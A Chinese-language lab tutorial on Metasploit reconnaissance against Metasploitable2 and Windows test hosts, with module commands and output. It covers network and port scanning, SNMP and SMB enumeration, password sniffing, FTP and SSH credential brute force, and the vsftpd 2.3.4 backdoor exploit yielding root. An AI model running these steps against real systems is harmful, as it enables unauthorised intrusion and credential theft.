信息搜集

发现目标网段的存活主机:

我们可以利用auxiliary这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况。

auxiliary/scanner/discovery/arp_sweep

auxiliary/scancer/smb/smb_version 存活的445主机

auxiliary/scanner/portscan/syn 端口扫描

auxiliary/scanner/telnet/telnet_version telent服务扫描

auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描

auxiliary/scanner/ssh/ssh_version ssh主机扫描

一般情况下我们在渗透测试的时候,如果在不知道资产的情况下,我们会把整个网端进行扫描存活主机,然后再对存活的信息收集信息,这样的话就可以缩短我们的渗透测试时间,而不盲目的去测试,有时候盲目信息收集会导致后期渗透的道路都是弯的,达不到预期的效果。

不管是端口扫描还是探测存活主机,都是要设置目标IP地址set rhosts ip地址,如果扫描整个网段的话,最后设置一下线程:set thread 线程数(根据情况设置)。

执行run命令开始扫描网段的存活主机,发现有服务器存活,这样的话我们就可以对这些存活主机进行下一步的信息收集,比如22、445、3389等敏感端口开放情况探测,在这里需要说明一下,以小白的渗透测试经验,一般我先不扫描整个网端,因为这样对目标主机有损耗,可以直接扫描有溢出漏洞的高危端口,如果有的话,那么就可以通过溢出进行提权,这样的方法也是一种捷径。相反的情况下,如果全端口扫描的话建议用nmap工具。

kali有自己的密码,内置密码表的地址:/usr/share/wordlists/metasploit/

一般爆破的话我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用的端口

1)auxiliary/scanner/mysql/mysql_login

2)auxiliary/scanner/mssql/mssql_login

3)auxiliary/scanner/ssh/ssh_login

tcp协议的信息搜集

使用nmap和arp_sweep搜集信息

#msfconsole

msf6 > db_nmap -sV 192.168.3.1

ARP 扫描

msf6 > use auxiliary/scanner/discovery/arp_sweep

查看需要哪些参数

show options

配置RHOSTS 扫描的目标网络

set RHOSTS 192.168.3.0/24

SHOST 和 SMAC 是伪造的IP 和MAC地址使用的

配置线程数

set THREADS 30

run

结果

使用半连接方式扫描TCP

msf6 > search portscan
msf6 > use auxiliary/scanner/portscan/syn
msf6 auxiliary(scanner/portscan/syn) > set PORTS 80
msf6 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.3.1/24
msf6 auxiliary(scanner/portscan/syn) > set THREADS 20

配置选项

扫描结果

msf6 auxiliary(scanner/portscan/syn) > run
[+] TCP OPEN 192.168.3.1:80
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

使用 auxiliary sniffer 下的 psnuffle 模块进行密码嗅探

这个 psnuffle 模块 可以像以前的 dsniff 命令一样,去嗅探密码, 只支持 pop3,imap,ftp,HTTP GET 协议 。

扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包。

msf6 > use auxiliary/sniffer/psnuffle

run

结果

shift + ctrl + t 建立新终端 登录ftp

安装ftp apt install lftp -y

lftp -u msfadmin 192.168.3.27 # 27为metasploitable2-Linux靶机的ip

密码 msfadmin

ls

回到msf发现信息已经拿到

结果

关闭后台

jobs

kill 0

?这不是我已经输过账号和密码了吗

基于SNMP协议收集主机信息

简单网络管理协议(SNMP Simple Network Management Protocol ),由一组网络管理的标准组成,包含一个应用层协议( application layer protocol )、数据库

模型 database schema )和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。

在典型的SNMP用法中,有许多系统被管理,而且是有一或多个系统在管理它们。每一个被管理的系统上有运行一个叫做代理者(agent)的软件组件,且透SNMP

对管理系统报告信息。

将kali设为代理者 靶机向kali发送信息

我们使用root 用户先到 Metasploitable2 Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。

msfadmin@metasploitable:~vim /etc/default/snmpd

改第11 行

SNMPDOPTS='Lsd Lf /dev/null u snmp I smux p /var/run/snmpd.pid 0.0.0.0

保存退出

重启SNMP 服务

msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart

确认服务监听正常

msfadmin@metasploitable:~$ netstat antup grep 161

使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息

msf6 >use auxiliary/scanner/snmp/snmp_enum
msf6 > auxiliary(scanner/snmp/snmp_enum) > show options
msf6 >auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.3.27
msf6 >auxiliary(scanner/snmp/snmp_enum) > run

结果

可以看到snmp探测到东西很多,但服务器硬件和运行的进程信息是其他扫描方式,该协议获取不到的

基于SMB协议收集信息

服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统(Common Internet File System,缩写为CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件,打印机,串行端口和通讯等资源。它也提供经认证的进程间通信机能。它主要用在装有Microsoft Windows的机器上,在这样的机器上被称为Microsoft Windows Network。

经过Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。

使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求 。

新建文件夹设置共享

共享信息

添加admin信息获取密码(这是我设置的密码是123456)

msf6 > use auxiliary/scanner/smb/smb_enumshares

msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.3.28
RHOSTS => 192.168.3.28
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUSER admin
SMBUSER => admin
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPASS 123456
SMBPASS => 123456

run

共享文件目录除了SMB还有 4 个是隐藏的共享目录。

使用 smb_lookupsid 扫描系统用户信息(SID枚举)

新建一个用户phantom 123456

SID 是 Windows 中每一个用户的ID,更改用户名SID也是不会改变的。

msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.3.33 #win7的地址
RHOSTS => 192.168.3.33
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUSER admin
SMBUSER => admin
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBPASS 123456
SMBPASS => 123456
msf6 auxiliary(scanner/smb/smb_lookupsid) > run

run

使用 smb_version 基于 SMB 协议扫描版本号

use auxiliary/scanner/smb/smb_version设置

set RHOSTS 192.168.3.28, 192.168.3.23

run

可以扫描到本机的详细信息,操作系统的版本号(本机信息就不放截图了)

基于SSH协议收集信息

查看 ssh 服务的版本信息

root@kali:~# echo “msfadmin msfadmin” >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

msf6 > use auxiliary/scanner/ssh/ssh_version

msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ssh/ssh_version) > set USERPASS_FiLE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FiLE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

run

run

基于FTP协议收集信息

查看 ftp 服务的版本信息

msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.3.27:21 - FTP Banner: ‘220 (vsFTPd 2.3.4)\x0d\x0a’
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到FTP版本为2.3.4

search ftp

use exploit/unix/ftp/vsftpd_234_backdoor

set 192.168.3.27

run获得root权限

id
uid=0(root) gid=0(root)

2.ftp匿名登录扫描

msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.3.27
RHOSTS => 192.168.3.27
msf6 auxiliary(scanner/ftp/anonymous) > run

[+] 192.168.3.27:21 - 192.168.3.27:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

3.ftp暴力破解

use auxiliary/scanner/ftp/ftp_login

set RHOSTS 192.168.3.27

set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

run前面的都是错的

[+] 192.168.3.27:21 - 192.168.3.27:21 - Login Successful: msfadmin:msfadmin
[*] 192.168.3.27:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed